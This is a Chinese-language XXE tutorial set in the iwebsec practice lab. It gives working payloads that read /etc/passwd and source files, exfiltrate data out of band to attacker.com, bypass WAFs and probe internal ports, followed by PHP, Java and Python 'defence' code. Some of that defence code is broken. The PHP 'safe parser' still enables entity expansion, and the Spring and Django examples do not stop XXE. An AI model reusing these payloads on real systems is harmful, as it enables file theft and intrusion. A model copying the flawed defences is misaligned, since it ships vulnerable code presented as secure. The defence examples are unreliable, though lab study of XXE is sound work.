iwebsec靶场 XXE漏洞实战:3种协议读取/etc/passwd与源码(附PHP/Java/Python防御代码)
iwebsec靶场XXE漏洞深度实战:从协议利用到多语言防御
1. 靶场环境快速搭建与配置
iwebsec作为专为Web安全设计的漏洞靶场,其Docker镜像已预置XXE漏洞场景。执行以下命令即可启动环境:
docker pull iwebsec/iwebsec:latest docker run -d -p 80:80 --name iwebsec_xxe iwebsec/iwebsec启动后访问http://localhost/xxe即可进入实验界面。该靶场模拟了典型的XML数据处理场景,关键漏洞代码如下:
$xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // 危险配置:启用外部实体加载环境验证技巧:
- 使用
docker ps确认容器状态 - 通过Burp Suite拦截
/xxe接口请求 - 初始测试Payload:
<test>hello</test>应返回200响应
2. 三协议利用实战详解
2.1 file://协议读取系统文件
经典/etc/passwd读取:
<?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <creds> <user>&xxe;</user> <pass>test123</pass> </creds>进阶技巧:
- Windows系统路径:
file:///c:/windows/system.ini - 特殊文件读取:
<!ENTITY xxe SYSTEM "file:///proc/self/environ"> <!-- 环境变量 --> <!ENTITY xxe SYSTEM "file:///etc/shadow"> <!-- 需root权限 -->
结果处理:
| 文件类型 | 处理方式 | 工具建议 |
|---|---|---|
| 普通文本 | 直接查看 | Burp Decoder |
| 二进制文件 | Base64编码读取 | php://filter |
| 权限受限文件 | 尝试目录遍历 | ../../跨目录 |
2.2 php://filter获取源码
Base64编码读取:
<!DOCTYPE data [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php"> ]>多文件批量获取技巧:
- 通过
file:///var/www/html/目录列表确定文件路径 - 使用链式过滤器:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode|convert.iconv.UTF8.UTF16/resource=config.php"> - 解码工具推荐:
base64 -d file.txt > output.php
2.3 http://协议外带数据
OOB(Out-of-Band)利用:
<!DOCTYPE data [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]>evil.dtd内容:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;网络监听准备:
# 攻击机开启HTTP服务 python3 -m http.server 8080 # 配合nc监听 nc -lvnp 80803. 防御方案与代码实现
3.1 PHP安全处理
最佳实践:
libxml_disable_entity_loader(true); // 彻底禁用外部实体 // 替代方案:使用安全解析器 $dom = new DOMDocument(); $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_NONET);输入过滤正则:
$filtered = preg_replace('/<!ENTITY.*?>/i', '', $xml);3.2 Java防御方案
SAXParserFactory配置:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);Spring Boot拦截器示例:
@ControllerAdvice public class XXEProtector implements WebMvcConfigurer { @Override public void configureMessageConverters(List<HttpMessageConverter<?>> converters) { converters.add(new XmlMapperHttpMessageConverter()); } }3.3 Python防护措施
lxml安全解析:
from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True) safe_xml = etree.fromstring(xml_content, parser)Django中间件示例:
class XXEMiddleware: def __init__(self, get_response): self.get_response = get_response def __call__(self, request): if 'xml' in request.content_type: request._body = self.sanitize_xml(request.body) return self.get_response(request)4. 高级利用与检测技巧
4.1 盲注检测方法
时间延迟检测:
<!ENTITY xxe SYSTEM "http://attacker.com/?ping=1&delay=5">DNS外带验证:
<!ENTITY xxe SYSTEM "http://[UNIQUE_ID].attacker.com/">4.2 绕过WAF技巧
编码混淆:
<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY % bypass SYSTEM 'http://attacker.com/?%payload;'>">协议嵌套:
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">4.3 内网探测实践
端口扫描Payload:
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">响应时间对照表:
| 响应时间 | 可能状态 | 判断依据 |
|---|---|---|
| <100ms | 端口开放 | TCP握手成功 |
| >2000ms | 端口关闭 | 连接超时 |
| 即时拒绝 | 防火墙 | RST包响应 |
5. 企业级防护体系建议
SDL流程控制点:
- 需求阶段:明确禁用XXE的架构设计
- 开发阶段:使用安全XML库白名单
- 测试阶段:DAST扫描+手工验证
- 运营阶段:WAF规则定期更新
WAF规则示例:
location / { if ($request_body ~* "<!ENTITY.*SYSTEM") { return 403; } }监控指标:
- 异常XML请求频率
- 非常规文件访问日志
- 外部实体加载行为
